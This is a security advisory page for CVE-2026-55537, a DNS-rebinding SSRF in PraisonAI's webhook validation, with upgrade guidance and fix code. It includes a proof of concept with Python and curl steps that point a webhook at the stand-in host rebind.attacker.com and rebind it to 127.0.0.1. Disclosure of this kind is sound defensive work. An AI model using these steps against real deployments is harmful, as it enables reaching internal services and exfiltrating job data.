CVE-2026-55537: PraisonAI Webhook SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-rg5q-pp8p-f7jm
CVSS 7.1
CWE-367 CWE-705 CWE-918
Published
Advisory Summary

CVE-2026-55537 is a HIGH (CVSS 7.1) webhook ssrf vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves webhook ssrf via dns fail-open in `jobsubmitrequest.validate_webhook_url()` — bypass of cve-2026-40114. Remediation is available by upgrading affected packages to version 4.6.58.

CVE-2026-55537 at a Glance

CVE Identifier CVE-2026-55537
GHSA Identifier GHSA-rg5q-pp8p-f7jm
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55537

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.6.58
pip install PraisonAI>=4.6.58
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55537, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.58), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (`socket.gaierror`), the validator **silently passes** the URL via `except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by `JobExecutor._send_webhook()`, which calls `httpx.AsyncClient().post(job.webhook_url)` — performing a **fresh, independent DNS lookup** at execution time. Together, these flaws create a TOCTOU SSRF window. An attacker can: 1. Submit a job with `webhook_url` pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (`gaierror` → `pass`) 2. Update DNS to point that hostname to `127.0.0.1` or another private IP 3. When the job completes, `_send_webhook()` resolves the hostname fresh → POST sent to the internal IP ### Details **Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):** ```python @field_validator("webhook_url") @classmethod def validate_webhook_url(cls, v): ... try: ip = socket.gethostbyname(hostname) ip_obj = ipaddress.ip_address(ip) if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local: raise ValueError("Webhook URL resolves to private network address") except socket.gaierror: pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction return v ``` When `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout, network error during validation), execution flows to `pass` and the URL is accepted. **Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):** ```python async def _send_webhook(self, job: Job): async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhook_url, # <-- fresh DNS resolution here, not cached from validation json=payload, ... ) ``` `httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings). **Combined TOCTOU window:** ``` T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb" Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN) Result: except socket.gaierror: pass → ACCEPTED T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60) T=60 Job completes. _send_webhook() fires: httpx.post("http://rebind.attacker.com/cb") DNS: rebind.attacker.com → 127.0.0.1 POST reaches 127.0.0.1 → SSRF ``` **Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding `validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code itself** — the `except socket.gaierror: pass` fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error. ### PoC **Requirements:** A domain you control with configurable DNS TTL, access to the jobs API **Step 1 — Confirm fail-open behaviour (local code verification):** ```python from praisonai.jobs.models import JobSubmitRequest from unittest.mock import patch import socket # Simulate: hostname temporarily does not resolve with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")): req = JobSubmitRequest( prompt="hello", webhook_url="http://rebind.attacker.com/callback" ) # No exception raised — URL accepted despite NXDOMAIN print("Webhook accepted:", req.webhook_url) ``` Expected: `Webhook accepted: http://rebind.attacker.com/callback` **Step 2 — Confirm fresh DNS at execution time:** ```python # From jobs/executor.py _send_webhook(): # httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator) # Standard httpx behaviour: each .post() resolves DNS independently import httpx, asyncio async def demo(): # httpx resolves DNS here, not using any cached result from validation async with httpx.AsyncClient() as client: # This call resolves "rebind.attacker.com" fresh at runtime # If DNS changed since validation, it hits the new IP try: r = await client.post("http://rebind.attacker.com/callback", json={}) except Exception as e: print(f"Connection: {e}") asyncio.run(demo()) ``` **Step 3 — Full attack scenario:** ```bash # 1. Set up domain with short TTL, currently returning NXDOMAIN # rebind.attacker.com → (no record, TTL=60) # 2. Submit job via API curl -X POST http://praisonai-server:8000/jobs \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "prompt": "Calculate 2+2", "webhook_url": "http://rebind.attacker.com/callback" }' # Response: {"job_id": "job_abc123", "status": "queued", ...} # 3. After 5 seconds (before job finishes), add DNS record: # rebind.attacker.com A 127.0.0.1 TTL=60 # 4. Wait for job to complete (seconds to minutes). # _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1 # POST request hits 127.0.0.1 (internal service) # If 127.0.0.1:80 is running a service, it receives: # POST /callback HTTP/1.1 # Content-Type: application/json # {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...} ``` **Immediate variant (no DNS timing required):** If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing `gaierror`). ### Impact **What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open. **Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to external or lower-trusted callers. This includes: - **Multi-tenant deployments** where workspace members submit jobs - **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields **Post-exploit capabilities:** - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint ``` --- ## Remediation Suggestion (for maintainers) **Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):** ```python # VULNERABLE except socket.gaierror: pass # FIXED except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." ) ``` **Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):** ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return # Re-validate to prevent DNS rebinding try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return # ... proceed with httpx.post ```

CVE-2026-55537 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.58
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.6.58
4.6.58

References

Frequently Asked Questions

What is CVE-2026-55537?
CVE-2026-55537 is a security vulnerability in PraisonAI involving Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.58 across affected packages: PraisonAI.
What version fixes CVE-2026-55537?
Upgrading to 4.6.58 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.58. Upgrade your dependency to 4.6.58 or later.
What is the CVSS score of CVE-2026-55537?
CVE-2026-55537 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-55537?
CVE-2026-55537 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for CVE-2026-55537?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rg5q-pp8p-f7jm",
  "modified" : "2026-08-25T14:59:44Z",
  "published" : "2026-08-25T14:59:44Z",
  "aliases" : [ "CVE-2026-55537" ],
  "summary" : "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114",
  "details" : "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` — performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n   resolve (NXDOMAIN) → validation passes (`gaierror` → `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh → POST sent\n   to the internal IP\n\n### Details\n\n**Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n    ...\n    try:\n        ip = socket.gethostbyname(hostname)\n        ip_obj = ipaddress.ip_address(ip)\n        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n            raise ValueError(\"Webhook URL resolves to private network address\")\n    except socket.gaierror:\n        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction\n    return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    async with httpx.AsyncClient(timeout=30.0) as client:\n        response = await client.post(\n            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation\n            json=payload,\n            ...\n        )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0   Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n      Validation:  socket.gethostbyname(\"rebind.attacker.com\") → gaierror (NXDOMAIN)\n      Result:      except socket.gaierror: pass  → ACCEPTED\n\nT=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)\n\nT=60  Job completes. _send_webhook() fires:\n      httpx.post(\"http://rebind.attacker.com/cb\")\n      DNS: rebind.attacker.com → 127.0.0.1\n      POST reaches 127.0.0.1 → SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** — the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 — Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n    req = JobSubmitRequest(\n        prompt=\"hello\",\n        webhook_url=\"http://rebind.attacker.com/callback\"\n    )\n    # No exception raised — URL accepted despite NXDOMAIN\n    print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 — Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n    # httpx resolves DNS here, not using any cached result from validation\n    async with httpx.AsyncClient() as client:\n        # This call resolves \"rebind.attacker.com\" fresh at runtime\n        # If DNS changed since validation, it hits the new IP\n        try:\n            r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n        except Exception as e:\n            print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 — Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n#    rebind.attacker.com  →  (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"prompt\": \"Calculate 2+2\",\n    \"webhook_url\": \"http://rebind.attacker.com/callback\"\n  }'\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n#    rebind.attacker.com  A  127.0.0.1  TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1\n#    POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required —\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n  Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n  during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n    pass\n\n# FIXED\nexcept socket.gaierror:\n    raise ValueError(\n        \"Webhook URL hostname could not be resolved. \"\n        \"Ensure the hostname is valid and publicly reachable.\"\n    )\n```\n\n**Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    # Re-validate to prevent DNS rebinding\n    try:\n        from urllib.parse import urlparse\n        import socket, ipaddress\n        hostname = urlparse(job.webhook_url).hostname\n        ip = socket.gethostbyname(hostname)\n        if ipaddress.ip_address(ip).is_private:\n            logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n            return\n    except Exception as e:\n        logger.warning(f\"Webhook validation failed at execution: {e}\")\n        return\n    # ... proceed with httpx.post\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.58"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-705", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T14:59:44Z",
    "nvd_published_at" : null
  }
}